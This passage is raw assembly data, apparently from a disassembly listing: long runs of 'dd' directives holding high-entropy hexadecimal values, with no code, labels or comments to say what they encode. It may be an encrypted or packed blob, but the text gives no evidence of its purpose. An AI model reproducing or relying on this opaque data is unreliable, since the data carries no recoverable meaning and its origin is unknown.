		dd 0D99C447Dh, 0E203DF70h, 51158177h, 0E0E93E5Ch, 0CCBFBB0Eh
		dd 11047A9Bh, 9F6AE8Bh,	716EBD7h, 0CF10B821h, 94461EA9h
		dd 7B287428h, 0AD3FB2B4h, 0EDC01CCCh, 0F3C6DDC6h, 9307D4A4h
		dd 0FD97E456h, 6EA81A13h
		dd 327F9AFDh, 0EA0EE748h, 0DDD99885h, 0D0657D3Ah, 0D1BAD230h
		dd 0A5792CACh, 0CAA3D20Bh, 1FAA5518h, 966219DDh, 6F1EF9D6h
		dd 43A11679h, 882E7DC2h, 4E1AAECEh, 0B8FBF85Bh,	3C85AD56h
		dd 0F6EEC162h, 99C69889h, 3762FEEBh, 680F67D7h,	1585C0E2h
		dd 0E50651E2h, 1DAF5082h, 396CA9CEh, 0BA41F590h, 17A26C51h
		dd 9EA43933h, 99A1C61Ch, 819877D8h, 4B6BEBAEh, 0DA1DACACh
		dd 6ABCBE97h, 6A8EE178h, 18A0E216h, 0DBC44098h,	0E565BD70h
		dd 90A48D7Ah, 0ACFE76C5h, 0E27F6C7Dh, 0B13EDA94h, 0A81FE2E5h
		dd 80AF2373h, 0BCD84BA9h, 1E4C33FBh, 0FA88144Eh, 96AD77B7h
		dd 3A23488Ah, 0A53682EAh, 19BBDDF1h, 0F5C550C6h, 9083DFBEh
		dd 520A56B8h, 0C23E2B34h, 257A8091h, 0ACC583BBh, 0D6B92C5Fh
		dd 0A4B33F56h, 0B7EB6CB9h, 0F805C9D8h, 5750CDE7h, 637F2B0Bh
		dd 6685C9C1h, 9D5B80FEh, 0B6A41787h, 32FBFAF3h,	0C9955D0Bh
		dd 0AFF79B1Fh, 16E5FC77h, 0E1D59E16h, 22A1A40Ch, 803099BCh
		dd 0E554CDDEh, 20DF6AE3h, 8D23C082h, 825C2DE6h,	0E3762BDDh
		dd 29808C85h, 43AF7E93h, 0ECB49E99h, 0C80F69D3h, 0B9996765h
		dd 5C9C1B65h, 0E95C561Fh, 0D9D90791h, 9C956A47h, 6385AD8Ch
		dd 0FDC04A1Dh, 0D44C0432h, 0D7026ED0h, 0A1D63285h, 0EFA9A245h
		dd 0A7A5D315h, 6AAB409Fh, 0E64FB66Bh, 5E7DBD79h, 99158AB2h
		dd 98E46F47h, 362F4C41h, 794D39CDh, 6162B377h, 0F255E226h
		dd 0D8A97E6h, 7170D7C8h, 42A866B1h, 4A715883h, 5CA276F6h
		dd 0D3FAF98Eh, 312881F6h, 51D706E1h, 0A35F64ACh, 0D95037F2h
		dd 8ADF0335h, 50E8C0AEh, 60D8A63Bh, 8CC16D9Dh, 0E5522305h
		dd 0E8AA0C7h, 51182410h, 32BF138h, 0DB36FEB8h, 50F5DAF2h
		dd 71799F9Ah, 477F377Bh, 682F879Dh, 752668F5h, 9E1A9221h
		dd 4C249366h, 0E085DA7h, 0D556FA2Ah, 7A465F6Dh,	0ACB6AA92h
		dd 5FB1D307h, 0B49EE725h, 0DE719DEAh, 98CC7A05h, 1830D86Fh
		dd 7AD366CDh, 0E37CA2FFh, 0C1E82EF4h, 0B0AE964Dh, 0EF15A8D8h
		dd 351071F2h, 4C911971h, 52886C11h, 15DFFAC6h, 3BE879ABh
		dd 0FA81DC1h, 0BF79C06Ah, 0EC3C7ED6h, 0EF215A60h, 0A321E87Eh
		dd 883822F0h, 0BEA032F9h, 0E4E89719h, 15275291h, 0C0E234D3h
		dd 56F7996Fh, 2EC992B0h, 119FC052h, 0AC5E4513h,	0A4905319h
		dd 542F527Ch, 1B2D5A5Dh, 0E9819D41h, 16A4F469h,	85CFE367h
		dd 56D3BC53h, 7AFFD23h,	73845AE3h, 0E419ADDh, 856E7153h
		dd 53AC9075h, 6CF43363h, 2BD34AD2h, 0DCE4FBBEh,	9B03486Eh
		dd 6621A860h, 57DFCB1Ch, 162B709Dh, 5C7F6FBh, 0B239F0B1h
		dd 99194616h, 0AFA50E97h, 55E2A772h, 6D3146F3h,	0FA72B38h
		dd 6727A747h, 0A6720261h, 376DAAE9h, 0B31201ADh, 438008B4h
		dd 669E9109h, 11EF4F49h, 6AD72D7Bh, 25F0FEB1h, 49F98D0Eh
		dd 42773DB2h, 0F6AE4E21h, 2AC991D0h, 957B4B5Eh,	0C10C5DF6h
		dd 514BBF01h, 0E2AFC43Fh, 1E5B0BAEh, 5911B5EFh,	29609DEEh
		dd 0FFD8E837h, 0A8E9FB9Bh, 9C8320AFh, 0EC6C0E6Bh, 0DFBAD5E3h
		dd 8BCCB24Ch, 0FEEB124Eh, 1055CE8Eh, 94D15C1Ah,	0A79FB365h
		dd 0F316F4DAh, 783F6C5Bh, 0FE2F565Ch, 792491B2h, 17516570h
		dd 65FFE4FFh, 85DF724Ah, 58384078h, 13B37B99h, 0E810FCF8h
		dd 0C0ADC74Ah, 3D41DE6Dh, 0C7C29A00h, 54E51EA1h, 0A3B59986h
		dd 4396E0C9h, 1A2C9C81h, 749FEA78h, 6F4FB0F4h, 26880FC4h
		dd 0A0602805h, 0BA518E1Ch, 0B6CBE59Ch, 1E05383Dh, 6DB95F80h
		dd 0D386FDF6h, 600FC8DEh, 0EC599E6Dh, 5FE17F22h, 74F6689Bh
		dd 7C015093h, 0A6E68379h, 0DE611CE1h, 82330C40h, 0AC25A814h
		dd 0B5BFDDD5h, 0D8C984D0h, 5C6C7F60h, 13DE8D9Ah, 5FE0039Ch
		dd 0CAB5DC6h, 98A5719Ah, 0FFBF5FAEh, 0F35FB866h, 0C76BF84Ch
		dd 0CD7114CCh, 15C66A43h, 6E40396Bh, 54473B7Fh,	4C15EF26h
		dd 554A7449h, 9898C982h, 1CEBBCA2h, 0FD3C6F32h,	8DA9E2DCh
		dd 8121F5Eh, 31A13219h,	55AF76E8h, 0D054762Ch, 58136783h
		dd 0EA9E1586h, 15B33DD9h, 0D87CBE18h, 67B69A8Bh, 0E90DC2D8h
		dd 0F8C67DCFh, 73398B8Fh, 0E35FE8D3h, 1A29DA9Ah, 0AD9C3A7Ah
		dd 792C247Eh, 9B20341Ah, 68FDFF94h, 2EE06273h, 4E0C5D86h
		dd 8D795DF5h, 614BC0E3h, 970D65E4h, 0D4EE9CFh, 0CD38F545h
		dd 5BEE8CA7h, 5318D13h,	0F9D7CD5Eh, 6C340D02h, 403FA8D2h
		dd 5AF61BBBh, 2A7644C4h, 0D6DBC67Bh, 5B36DD0Ah,	0DAC0AB09h
		dd 4DD7639Ah, 0C1280CACh, 4FA34BADh, 797574C6h,	0A54CAE6Fh
		dd 71E60BB3h, 4AB52604h, 1DF6645Ch, 0DC6A0098h,	0C264D6Ch
		dd 0C9A3D5B3h, 68D80F9Fh, 0D5097D94h, 15423939h, 4326B6B7h
		dd 633BEF77h, 12BC7DF4h, 0CB880925h, 1ADA4C8Ah,	9CE6D18Bh
		dd 46B88171h, 8951E7BCh, 0DD45043Fh, 1F353465h,	0D42735DEh
		dd 8D2F0B11h, 0C92EF507h, 1C8EB3Bh, 0D24AB95Ah,	0F1B78BF8h
		dd 98D864B7h, 4D891515h, 0C26F87A2h, 0E267D196h, 57CE3AB7h
		dd 3015EF84h, 48626BD8h, 2C098E2Fh, 9C15D06h, 6A768D97h
		dd 8DE69CEFh, 94503A08h, 6A168639h, 4D8599C1h, 0D74C7913h
		dd 0C5D32013h, 21D42DD6h, 0F55BBD12h, 70F88444h, 540A1450h
		dd 0F285B0CEh, 0CAB48E6Bh, 0EA6B67CFh, 675CF105h, 71EEFCAAh
		dd 26D19640h, 0FD63C67Eh, 14AD26CAh, 9E875455h,	92F7D275h
		dd 527E18B6h, 0B3176EE9h, 0CD19A247h, 7B28F11Ah, 77D64BCh
		dd 4C6F18E8h, 81BDF804h, 0DB6673C6h, 85AEA4Fh, 2B52953Ah
		dd 0AF56DEB9h, 0F38DB89Bh, 0E71DAC60h, 3DDD6387h, 8BD55E77h
		dd 35F70123h, 0B509B85Bh, 0C735CB9Ah, 49AD1858h, 0EEAF01CCh
		dd 598C1976h, 1D4C594Bh, 400F087Dh, 0C95D11C1h,	0AD22DE93h
		dd 6C571DFDh, 6E7D0C32h, 6CC74C4Bh, 813AD985h, 0EEF86EB6h
		dd 3F292F66h, 771E1B7Bh, 414B8FA0h, 99B9EC02h, 361A339Bh
		dd 0AA53B236h, 0A4351418h, 91CF8352h, 0B1DDA47Dh, 0EC83902Bh
		dd 0BCA1F7F6h, 0B84CC36Ah, 0FDD36EAFh, 42E9F0E8h, 9984A886h
		dd 6F6892CAh, 38819C2Ah, 40A5AE10h, 0E29E679Ch,	0F8E8396Eh
		dd 0D1DE602h, 0F0822439h, 48DCD8E0h, 95CCEF91h,	6C66BC5Eh
		dd 10C1B498h, 749A76B3h, 5A03711Eh, 65AEE0B0h, 8DA64372h
		dd 4E663A8h, 0D3A66AB4h, 6FFB1EB1h, 782320AAh, 231B4986h
		dd 0E6D7D8FAh, 9B597DDh, 0E023E6D3h, 7896F500h,	0AB3CC12Ah
		dd 0B4A939F4h, 767F649Eh, 6AE8CD58h, 31D58B93h,	301EEAh
		dd 3014B4AEh, 9FCB89E7h, 2FE8B884h, 1AC15254h, 8260249Eh
		dd 799DC7EAh, 0D7C724C8h, 60030335h, 9999054Ch,	0AAABD288h
		dd 48ED1C7Fh, 58171F4Eh, 0CBEFE104h, 423BEB6Dh,	9C4E40A2h
		dd 0D70195BCh, 3FB54DECh, 464A2516h, 79730BFEh,	0D1A24857h
		dd 0BD951590h, 6DD027E8h, 1873775Fh, 0F487736Dh, 0E1C2194Ch
		dd 0BA530660h, 0E0B88A4Bh, 227C15C6h, 5AA08B7Eh, 64D581C1h
		dd 0A424C20Dh, 221012C9h, 3F99C382h, 8BDABADh, 6675CEC6h
		dd 7AEF5D60h, 0E1038840h, 0B86A7E76h, 46A3E34Ch, 0B1088EF4h
		dd 5F18F60Dh, 865EC3ADh, 0A4D84988h, 0E800ADFEh, 6EC3AFA4h
		dd 32E8F597h, 74038D32h, 49E4F6D2h, 14C5FE51h, 0D6F4E3Bh
		dd 0EC2FD5ADh, 8B86A9D8h, 0DE1A8F32h, 11A7E4B9h, 9AA795CEh
		dd 0D934A324h, 0C1DC968h, 5B9B3492h, 376A26D2h,	177271Fh
		dd 17653520h, 0D67321BAh, 6942D2ACh, 0A9118938h, 7F2DE99Eh
		dd 0A0B638B1h, 4BE2F152h, 863995D3h, 0E7CF1A6h,	0C174D023h
		dd 8278EFE0h, 0B7B15F23h
		dd 1B663105h, 59D55C34h, 0ECEB104Bh, 519E082Bh,	5E2593D5h
		dd 0D09EA1C8h, 8381531Ch, 1E8AE8CBh, 55D7DB91h,	37293911h
		dd 0B51C5B43h, 0B8038A17h, 40312963h, 300A529Eh, 972FB836h
		dd 621C0026h, 0A16C0356h, 7DBE6149h, 0E360804Ah, 0C5F7765Fh
		dd 6EC26029h, 7AD1D796h, 7322CAE5h, 0FDC67961h,	2F0C1758h
		dd 15C926ABh, 661631C3h, 1E32E8FAh, 0E6C7FDF6h,	7B159C84h
		dd 9340B42Dh, 0D172C7DBh, 1A5B176Bh, 0E0D7E24Bh, 14B6314Fh
		dd 0A9ED13DBh, 4A44B352h, 0D436670Dh, 0A2DDA9DFh, 6E094D3Bh
		dd 8119D0D6h, 0A8DDE6AFh, 0ECC9960Eh, 314CB89Dh, 77C7396Eh
		dd 0B9D2A926h, 6C7AFC94h, 74107C86h, 6F6E531h, 15D2D7B0h
		dd 7C715071h, 556D1F5Dh, 60197D20h, 0E900AB6Bh,	0A64B0B0Dh
		dd 0E937956Ah, 5D73DED3h, 6A61F57Dh, 0A62190CCh, 227A502h
		dd 52B4527Bh, 7945BCE6h, 237A06BCh, 286F1F2Ah, 0D65B9182h
		dd 8797C343h, 748FB3F3h, 0D5186A91h, 4981DCEAh,	593E2419h
		dd 5E285C70h, 6D2610CFh, 2857AFABh, 6639AD7Bh, 256C7DAFh
		dd 0B675FEE1h, 8498898Dh, 43EBA572h, 3437C99Fh,	8FF24FEEh
		dd 32D5A7B6h, 2613241Ah, 54138D20h, 0D2D96831h,	347EA7C7h
		dd 0F9639B8Fh, 9677542Fh, 0DFA796B3h, 849B09D3h, 6AAFB7E3h
		dd 895CCD87h, 6A648778h, 0A5668C6Fh, 363675h, 75508930h
		dd 0E5076958h, 666E10D8h, 25346FA8h, 17E7BA3Bh,	61AD76C0h
		dd 996B7432h, 23931F6Eh, 0C321C7DEh, 357574CEh,	0DF70901Ah
		dd 0BA012CDEh, 437B68DBh, 96D47FD6h, 0CD111672h, 52413F3Dh
		dd 0FCDC2062h, 4D0AB596h, 7C536A1h, 840FCE0Fh, 8FD833F7h
		dd 61359758h, 95350804h, 55629BC0h, 40F8532Fh, 3003C53Dh
		dd 43079A11h, 437A354h,	0B6FF7D01h, 8CD99479h, 57E70E68h
		dd 0D2720749h, 3EF55561h, 0EBB85187h, 456CA127h, 2EA598Fh
		dd 0FF70CBD3h, 0D8510E66h, 0BB00A0D0h, 0CD99E2F1h, 0A7E5FBA5h
		dd 0EE9FA65Ch, 7DB77091h, 77395051h, 611FCEE6h,	9DEAA277h
		dd 0E0B9BBFFh, 7AE0D91Dh, 0D0930DF2h, 389AD9BBh, 0F744835Dh
		dd 7578466h, 2143BEAh, 9F72854Fh, 0E9EF7BFBh, 65EE0523h
		dd 0D0BA11F4h, 0AC8CF52Ah, 1A225086h, 0F648BCA5h, 8ECDA387h
		dd 0F194EFABh, 2B6FC795h, 6DB1A392h, 0C19ACEB2h, 846D11Dh
		dd 292233A9h, 5C5A9E7Dh, 43E51AC8h, 0BB8B2CB1h,	0B86B487Bh
		dd 5CD67E87h, 35F37F2Bh, 0EF9939C2h, 6E3C5A65h,	0BFFE728Fh
		dd 16AF5D2Ah, 9C64BCC1h, 0BA5EF2C6h, 5396FBD9h,	67407773h
		dd 984A419Dh, 8208234Bh, 0ABCEA0E3h, 0B289B92Eh, 9BC63CBCh
		dd 93D22B16h, 8CF91CCh,	0DEDD35FAh, 83360183h, 0BD6A9580h
		dd 220A11B4h, 0A8BCE564h, 72AE7EE0h, 51A62E70h,	0B670A8A9h
		dd 25225219h, 0FB96A04Fh, 9EFC8412h, 0D82EDB98h, 0A8995D87h
		dd 402DD55Fh, 12684980h, 0A22FBCAFh, 0D526897h,	0CE6D1BAFh
		dd 0DF29CAD2h, 25F7F644h, 0ACE05B8Fh, 0CF0CEAB4h, 853EA79Dh
		dd 0DD17A3CDh, 8399DB2Dh, 0A98B7171h, 7981655h,	0AD7715EEh
		dd 659C0754h, 550ADA14h, 76F6AE2Ch, 2739006Fh, 3B21BC29h
		dd 0C6CD0B7Ah, 18CE7CC7h, 0AFEF1577h, 0B17E027h, 0FB5BF158h
		dd 0F9D77008h, 0B1A9D214h, 0F4C8A13Fh, 9D2DA37Bh, 98549519h
		dd 425568EBh, 0D605FE18h, 0BE5C6DEAh, 3FD66D43h, 0DCF8D871h
		dd 4B12E1BEh, 71AD33A1h, 5ABFE47Ch, 2290086Bh, 5E1C057Bh
		dd 0EA556B94h, 86AE4686h, 0D1817478h, 0D9CEFD73h, 0B822685Ch
		dd 0BD3E9451h, 0CB6EAE64h, 0BAE1FA0Bh, 0EFB5ABE4h, 867C9335h
		dd 501FA2FBh, 3FEABCDh,	41C06EC9h, 4004FAADh, 0F445A0A2h
		dd 0E36DAC69h, 0DB546985h, 0D4F57267h, 270083B3h, 11540281h
		dd 0EA9C8ECFh, 0BF63EFE3h, 0A41F739Ah, 0CDD4189Fh, 26D5A120h
		dd 0DF34CAA8h, 0FCA5D178h, 7A539B14h, 0BB1BB3B0h, 0BADD055Dh
		dd 7ECD7F58h, 5AB7EBD9h, 4F21A842h, 0D6A908E5h,	0BA1A1D8Fh
		dd 0AD573327h, 63E60330h, 0AD1EDD23h, 5BB20A5Ch, 95364D4h
		dd 70148763h, 0E319C2DDh, 9CBDEFB8h, 0F5D4A9C8h, 0CA3B25FDh
		dd 0A8F6E100h, 6A3B579Dh, 5F1D71DFh, 0C7949785h, 0BB23FAA0h
		dd 9B615120h, 0EE173433h, 11399CAAh, 0C0E63848h, 0CC3DCCE7h
		dd 0FEB9C8CFh, 70A800FCh, 11C2731h, 784D8639h, 0E628AA76h
		dd 0D3A88059h, 1F5B67D4h, 75C1BFF3h, 28BE7F49h,	0F115486Fh
		dd 5B91A9Ch, 17D41483h,	0C3190B48h, 333D94E1h, 4C222445h
		dd 0F738330Bh, 0E4A798DEh, 94030F1Bh, 2144CDA5h, 3157ACDAh
		dd 425D56C4h, 0A8715DD4h, 86A04DE8h, 38A88391h,	9762FA0Fh
		dd 9CEF84EAh, 55EE5FDCh, 5E81318Fh, 8736458h, 0F713EB57h
		dd 0D902F543h, 6202A4C3h, 4C16FD12h, 0FAFD4FC9h, 0E2D999B9h
		dd 1AA4F652h, 0A81427FDh, 9A1C0A19h, 0E267BDC1h, 2632FC3Ch
		dd 0DE720529h, 0CECC075Eh, 987551EDh, 79E3DFA8h, 22F347DBh
		dd 0C8692E3h, 0FF9183Ch, 7CCC7AB3h, 0B6F6B5D5h,	97BDED21h
		dd 0A4FCEAEFh, 787FFBDEh, 0DFB8B90Bh, 0C22FF688h, 36A07ACDh
		dd 5FD2C2E9h, 0FD545B10h, 6D3559Dh, 95D74493h, 8B9D90Ch
		dd 2EA7E9D1h, 0F886AD9Ch, 854404BBh, 0B503A45Fh, 4F7E596Dh
		dd 47E3DE03h, 52007A8Eh, 0C37B775Fh, 2EC718A3h,	164ADD5Bh
		dd 0CAC00EBDh, 101C184Dh, 50405BB6h, 55FDD973h,	0A06E681Ah
		dd 7224E067h, 0A3F4BD06h, 0E616D930h, 0CE5F638Ch, 0BC64F909h
		dd 407A4945h, 66364B41h, 791AA31Eh, 0E727F8Bh, 95B08655h
		dd 72DBA43Bh, 0E7B0576Dh, 1709606h, 592A57A1h, 0E2341D66h
		dd 885B5942h, 18B088DDh, 51BFFF3Ah, 0E4460478h,	4AA2F244h
		dd 7AF57C6Dh, 5A975B4Ah, 0E0E2040Dh, 1A8B527h, 34064DA3h
		dd 0C26DDF88h, 255071FDh, 0F0397608h, 8D1AD877h, 0A73A94EFh
		dd 0E15EEDF7h, 0CDD13FB5h, 2519FA7Bh, 0E9EDE651h, 0D2A1D87Ah
		dd 8FB1DD5Bh, 69D0BDE5h, 0CBA7C8E5h, 0EA47C2B4h, 1DBEFA63h
		dd 23A08CC1h, 8F0D7C5Eh, 87C7A347h, 3E9BDB2Ah, 1574A458h
		dd 6394D96Dh, 7D8987B9h, 2C2CA27Fh, 9EEEBAB3h, 0CD1ED712h
		dd 6591D78Fh, 4D3FF85Fh, 2B510F81h, 826BEB67h, 97C4DFF7h
		dd 0AB122341h, 4914586Fh, 0F52C6B77h, 0AA81BA56h, 2373BD0Ah
		dd 8D4CD9A0h, 0D6922CA8h, 4EA38B95h, 77FED611h,	83116DEFh
		dd 11D2AA4Ah, 0B13A4EBDh, 445C355Dh, 0A0B84300h, 0E9F6396Fh
		dd 0EA62401Ch, 0E9F6B965h, 0E75741D2h, 0FBB7DC51h, 21E402C1h
		dd 0CFD43AD2h, 1EC2F67Ch, 0D00D8B48h, 15EFFA89h, 179774EDh
		dd 0CC92D123h, 1B57272Ah, 2E419B2Dh, 5A750BBBh,	86022373h
		dd 134CFD28h, 3B939211h, 73510E07h, 5A86AD2Fh, 42AC57C8h
		dd 0BADEB4BAh, 0C9BC5117h, 0FA96C58Eh, 9B24E86Eh, 0D154EEC0h
		dd 122C8823h, 63039491h, 87106D59h, 0D2BC4F6Ch,	53FF442Fh
		dd 555E1E16h, 0E01D5329h, 0A434A853h, 0DC8C4DF0h, 4389BB08h
		dd 3C37FD50h, 0CA6A115h, 0F164546Eh, 824BC87Bh,	0E40E5513h
		dd 2EE3355Ah, 2FB26FB5h, 938E00D8h, 0F97400B1h,	988DD572h
		dd 540787C7h, 7F7C4857h, 20863D12h, 0E92F20AEh,	0EA4E2D56h
		dd 212EAEC6h, 64FA673Dh, 0DD3F0FA8h, 3B0979BCh,	0E30F350Fh
		dd 9488FB12h, 0B380290Ch, 0B66CDCEFh, 0C1F322D7h, 0BBA6BAF7h
		dd 793F5C83h, 0F0D043B8h, 2881059Ah, 861E04DCh,	91305166h
		dd 0B498B0DBh, 0FCFA24E6h, 8B92C658h, 17FCE491h, 7ACBD05Dh
		dd 0B7419FC8h, 0A8E389ACh, 8FC2745h, 2108C6D6h,	0FC5A3664h
		dd 4B64224Ch, 3F54A366h
		dd 434ADF84h, 323D4217h, 0E0BB0311h, 4C7EF9A3h,	59BEF08h
		dd 4F0C2849h, 0BB1A08F8h, 8AC33F80h, 0D2144279h, 0C181EA73h
		dd 0B1445C48h, 3556B02Eh, 16ABA509h, 2213CEFh, 117D7376h
		dd 7D2F144Ch, 4A100716h, 0AE4ECDDFh, 0FB5ADC52h, 6B63BC9Bh
		dd 92C54A5Ch, 0F044676h, 0B07B219Bh, 2BD69E85h,	0E34F31BCh
		dd 0DA0BAEF1h, 0EA0E899Dh, 0EA48495Eh, 0DEE87DAh, 0C6612D0Fh
		dd 2917B6C2h, 0DAFDCC43h, 45C02F0Fh, 19B24DEBh,	0E7D07C71h
		dd 0C9AC477Ah, 0EF02E902h, 0C6F4C9E2h, 0BE673F2Fh, 49C5275Bh
		dd 3C8E96h, 2CF4A10Fh, 0FA2753DEh, 0E189AE7Fh, 7EE7B256h
		dd 7828AF45h, 0E294A481h, 1DFF9C80h, 1127046Dh,	6F5905Ah
		dd 0C38E03FFh, 0B1535C56h, 0C1862DFDh, 45228AE1h, 0A37CB2B6h
		dd 0FF59C585h, 182B395h, 71359B7h, 6AE34F04h, 3BE32FF2h
		dd 2A1C66C8h, 0CA108569h, 75222E7Bh, 84353CA6h,	4B1A3918h
		dd 0E1E98175h, 515254FDh, 53FDBC09h, 7F4A5029h,	0B57CFAD2h
		dd 935E95ADh, 4C63CBA2h, 1182B66Ch, 966CDF75h, 61A9F878h
		dd 336457EAh, 13178360h, 0FDC1FAD0h, 0CAEABDD1h, 549ED622h
		dd 8AF7269Eh, 0A4A8AD3h, 0AC2460Bh, 95F347A0h, 5A76EE82h
		dd 0E98C323Ch, 6B7C3874h, 0BD2E0106h, 4E306D14h, 0AC832651h
		dd 892135E2h, 0FC924909h, 6EA0DD00h, 266BA3FFh,	7706E626h
		dd 8D2382C5h, 6C82BBD3h, 0D5143139h, 75FCE08Dh,	886B3DDFh
		dd 47BC929Ch, 8C6D87AEh, 64DD26DCh, 4EA1E839h, 1E401062h
		dd 0A4BD9D72h, 9CE6BFCh, 87BC092Dh, 0B005A82Ah,	5971CCB2h
		dd 0D507B687h, 246BEB4Eh, 84160163h, 5FB842EFh,	112172A4h
		dd 165FE3F7h, 0F76C45A5h, 1A0CA9C9h, 0B9F98EE2h, 0AE448A41h
		dd 0A6677E4Ch, 0CE9A526Bh, 960A1480h, 0D1444A93h, 53F534B6h
		dd 21775817h, 0EFF5AAB4h, 0AB9CD4D1h, 92079207h, 0A1B7DB98h
		dd 632AEB17h, 0C5D71433h, 0B3F24ADAh, 10786DFCh, 0A11D8E73h
		dd 75AB2801h, 0BF9B03Fh, 44363DA0h, 0F7CEA6A7h,	0D3225F60h
		dd 0F86DDB28h, 9D8279A1h, 0DD37720Dh, 45690B86h, 0A3562C46h
		dd 0B9CEC856h, 6E36D8C6h, 0A9A46AA9h, 0C17A2AE3h, 0E34443EEh
		dd 13653D6Bh, 320CADA3h, 5E8A895Eh, 0D9095ACCh,	299EB20Ch
		dd 59058E24h, 0D7C89CA8h, 82282A1Ch, 9160C774h,	38B0FE9h
		dd 381DAE5Bh, 0D807089Ch, 0CEE90DAAh, 6B145F0Ch, 0A3FDCF7Ch
		dd 122DA458h, 9C0F8184h, 1DB2BC3Dh, 0C0EEE320h,	5D625ACEh
		dd 0B3F27579h, 83504774h, 0BEB69380h, 0E14205C0h, 39603E0Ah
		dd 3A1B8245h, 0EF779406h, 24E04074h, 22C14D18h,	0CBE1A6Fh
		dd 7F46408Bh, 34E32A75h, 650BF9A2h, 28714073h, 3CB84CB8h
		dd 0C9B3D9C3h, 7A17A502h, 32F8137h, 5D5F3A2Fh, 7C0C02BBh
		dd 0BC9EF139h, 3FB8E8DBh, 0A948E421h, 4D3B362Eh, 1B89905Ch
		dd 0F986D867h, 609EEC85h, 5C8C339Dh, 133A25A3h,	0CCB77629h
		dd 0B5C448DEh, 959FDB2Dh, 0A562EA3Ah, 626B3FD5h, 68EDA75h
		dd 67BD7FA5h, 8D8A409Fh, 0A4518940h, 8770FEFh, 2AFA24A5h
		dd 24D8B6AAh, 22873FF5h, 919800D5h, 0E09E1428h,	0E141E35Ah
		dd 0E4DA53BCh, 5E5B452Dh, 226AD139h, 52790A7h, 0FF80697Bh
		dd 0A1A704E2h, 0CC9D8899h, 0F4CD44D8h, 4400247Eh, 0C111D208h
		dd 70DF1E8Eh, 5F7A7055h, 0B73B2820h, 80238B46h,	0F117FEA3h
		dd 1A182D2Ch, 0B65B05F8h, 333D0FD7h, 93F62DCh, 739350F4h
		dd 27121148h, 0B96B7ED3h, 0C002D373h, 294B6626h, 0DB369DDBh
		dd 0B4F9B10Bh, 8A88C11h, 76BE0CB0h, 4C78F4D3h, 2EB9C2F0h
		dd 0B6ADA844h, 4D54BC80h, 6758B2A6h, 0B009EC8h,	6F841B9Fh
		dd 97B2920Fh, 9A20C888h, 0B997F7D4h, 78318E71h,	5BD8434Fh
		dd 8AA846F4h, 5138EF9Fh, 8765DFCFh, 11E99288h, 0E43F8754h
		dd 23D450F2h, 9282B130h, 0B8D64FF0h, 0D4F5A850h, 78147655h
		dd 4C451945h, 0C827066Dh, 4015F463h, 9DD49726h,	0FA3413E7h
		dd 585CB49Ah, 5B429FB9h, 0D4B6E137h, 0C4888132h, 3871D442h
		dd 7FBADE76h, 0D2651F94h, 22692D4Dh, 0F2C21347h, 7CCB2522h
		dd 2F9DEDEAh, 86D95F8Fh, 0A0598635h, 2816A847h,	0D2498C63h
		dd 4831FA0Ah, 353882B1h, 0DEF1AAF9h, 0FB4CE291h, 0FBC8CA4Fh
		dd 2FC7C15Bh, 9BD48429h, 0D9F4DCA5h, 0FD033BA4h, 7DE097B3h
		dd 0F0F23CAh, 18480A57h, 0DA3C3788h, 0CCA254Bh,	0FEC8606h
		dd 0FFDECA53h, 236EA275h, 0C2653DBDh, 9562C92Bh, 6E155E04h
		dd 0C553A727h, 0A3592E4Fh, 0C0C78725h, 0E9FD7AB2h, 607FE2BBh
		dd 0DCF8BD35h, 0B212848Bh, 71D899D5h, 0CC86D4C7h, 0CF867DECh
		dd 33F10A40h, 0A2AAB253h, 1E754C06h, 0A2DE31FDh, 0A8129883h
		dd 0FBE32603h, 0A4BB840Dh, 563A745Ah, 56E1426Eh, 71788C1Fh
		dd 94B676C7h, 371FE181h, 5408ECDFh, 9A9BF931h, 0D06954E1h
		dd 153226A2h, 40A0CF6Bh, 866362DAh, 0F48E350Fh,	0F0E60535h
		dd 5D73AD19h, 44ED4790h, 0DECE14E6h, 909A8109h,	9FFE217h
		dd 0D3A2B2E0h, 0FB46EAF7h, 8F34BA3Dh, 2FF8E98Eh, 9CB64837h
		dd 452D8199h, 0AD0CA2AFh, 1A6DC3C9h, 7203BDBFh,	0B93CEF69h
		dd 7F983A72h, 7922D1Eh,	569A40BDh, 50719C9Eh, 9D2DBB5Fh
		dd 0EED0096Fh, 46F110BEh, 6E91672h, 3161A321h, 99D67F4Ch
		dd 83893B5Dh, 0EF5AF6C1h, 0E94EEBC3h, 74063BC0h, 0A356CD09h
		dd 78891DDCh, 0A52D1333h, 355CFC6Bh, 5D360653h,	0FD2C14C3h
		dd 0ECB8DE58h, 0CF86C8F9h, 231A5B79h, 12C8EBDEh, 0D0009FF3h
		dd 1361C69Ch, 6BFD5040h, 41C2CC60h, 7620634h, 2C34E426h
		dd 7CD61528h, 0D78F0D82h, 6368CA55h, 4183F116h,	3DB81CF7h
		dd 49CDCB85h, 5AD7E4B5h, 0BA88E3D6h, 239C8F4h, 1A2911CEh
		dd 0E049454Eh, 631FBA82h, 0E4BD1Ah, 58EB0523h, 13BFBF74h
		dd 1FF4F399h, 0CC34AD87h, 84159BB2h, 0B966646Ah, 2F1946FAh
		dd 1F02FD4Bh, 0C4D0F30Ch, 0F932EA24h, 0B6809372h, 0D73F0748h
		dd 0D4AE1B8h, 0C2233A8Dh, 860EEDEAh, 504B1949h,	994A62A6h
		dd 6A15662Bh, 0F65E74Eh, 0F70CE4CCh, 0D97C605Dh, 6A99C7B7h
		dd 3627800Ch, 0DBE628B5h, 7E1BC300h, 1181574Ah,	459A05A7h
		dd 43CE592Ah, 0A1B36F57h, 659CF337h, 8D85F80Eh,	0B3536CF7h
		dd 0BFEB1DFBh, 9F62659Eh, 67FB6B42h, 0CA77A1F4h, 73844606h
		dd 0C89EA6E3h, 0D432F93Eh, 0BF262417h, 0C0073E1Bh, 1541F575h
		dd 48537606h, 3699302Ah, 529A7B26h, 42F15773h, 80149106h
		dd 390479B1h, 336EE239h, 2DDB48A1h, 978356E3h, 9193D53Dh
		dd 0A16FA5D5h, 0FD276897h, 493E5437h, 0F2F902FBh, 37C0127h
		dd 0BA1928B5h, 0B7265236h, 94FC7905h, 2B874F90h, 83087A0Eh
		dd 4C095003h, 0B3A94C19h, 0B66B560h, 43B1FF75h,	2F04F9Bh
		dd 3869B9FDh, 44A9B805h, 0A84ED5AFh, 530FC83Ah,	9271E705h
		dd 0A1C14416h, 0C1D0E9BFh, 33D3A59h, 1F6CB647h,	0AC8CFA2Ah
		dd 6E17A1F2h, 0AF58921Ah, 5015CD3Bh, 0F3DC174Eh, 80F8944Dh
		dd 71F5420Fh, 692DA9C8h, 0F28CCA72h, 68F0D788h,	34FBA7AFh
